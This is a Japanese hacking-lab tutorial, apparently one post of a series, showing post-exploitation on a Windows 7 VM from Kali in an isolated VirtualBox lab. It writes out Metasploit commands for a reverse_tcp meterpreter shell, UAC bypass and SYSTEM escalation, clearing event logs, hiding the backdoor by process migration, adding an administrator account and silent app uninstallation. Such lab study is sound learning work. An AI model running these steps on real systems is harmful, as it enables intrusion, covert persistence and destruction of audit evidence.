Windows7に対して、ログ削除や隠蔽化等、侵入した形跡を消す方法を主に学んでいきます。
まとめ記事（①〜⑯をまとめてます）
【ハッキング・ラボのつくりかた】をやってみた
システム環境
仮想化ソフト：VirtualBox 6.1.0
ホストOS：Windows10
ゲストOS1：Kali Linux 2020.1
ゲストOS2：Windows7
攻撃端末はゲストOS1、ターゲット端末はゲストOS2です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS2が10.0.0.102です。
ログ削除
侵入すると、ログという形で形跡が残ってしまいます。
ここではログを削除する方法を学びます。
バックドアは既に設置しているので、Kali Linuxのmsfプロンプトで以下のコマンドを実行してリバースシェル接続を行います。
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit
UAC機能をバイパスし、SYSTEM権限を奪取します。
Meterpreterプロンプトから以下を実行します。
また、今回セッションを指定する場合はすべてセッション1を指定します。
> use exploit/windows/local/bypassuac
> set SESSION 1
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit
> getsystem -t 1
Windowsシステムのログはイベントログという形で記録されています。
イベントログはイベントビューアーで確認できます。
clearevコマンドを実行すると、Application、Security、Systemの3種類のイベントログが削除されます。
> clearev
隠蔽化
Windows7でタスクマネージャーを起動し、Processタブを表示します。
evil.exeを用いてリバースシェル接続していた場合、Processタブにevil.exeが存在します。
これでばれてしまう可能性があるため、evil.exeプロセスを隠蔽化して侵入がばれにくいようにします。
Meterpreterプロンプト上で実行します。
まず、psコマンドでWindows7で動作しているプロセスを表示します。
> ps
隠蔽化にはmigrateコマンドを使います。
psコマンドで調べたPIDをmigrateコマンドに指定します。
ただし、現在の権限以下のものを指定しないとエラーになります。
ここでは、explorer.exeを指定します。
> migrate explorer.exeのPID
migrateコマンドを実行すると、タスクマネージャーのProcessタブからevil.exeが消えます。
また、UAC機能をバイパスするモジュールを使用している場合、Processタブにはアルファベットの大文字小文字が混在した名前のexeファイルが表示されます。
これも隠蔽化します。
svchost.exeのPIDを指定し、migrateコマンドを実行すると、隠蔽化できます。
> migrate svchost.exeのPID
ユーザーの追加、編集、削除
ここではターゲット端末にユーザーを追加、編集、削除します。
事前にリバースシェル接続し、SYSTEM権限を奪取しておきます。
最初にコマンドプロンプトを立ち上げます。
> shell
元の状態は以下のようになっています。
testというユーザーを追加します。
> net user test/add
次にパスワードを変更（ここでは1234）し、管理者権限を与えます。
> net user test 1234
> net localgroup administrators test /add
ユーザーの削除は以下のようにします。
> net user test /delete
アプリのアンインストール
ここではターゲット端末からアプリをアンインストールする方法を学んでいきます。
事前にリバースシェル接続し、SYSTEM権限を奪取しておきます。
インストール済みのアプリを表示するにはアプリ列挙モジュールを使用します。
> use post/windows/gather/enum_applications
> set SESSION 1
> run
他には、wmic product get nameコマンドを使う方法もあります。
コマンドプロンプトを立ち上げ、以下を実行します。
> wmic product get name, installLocation
上記のいずれかの方法でアンインストールしたいアプリ名を確認した後、以下のコマンドを実行すればアプリをアンインストールできます。
> wmic product where name="アプリ名" call uninstall /nointeractive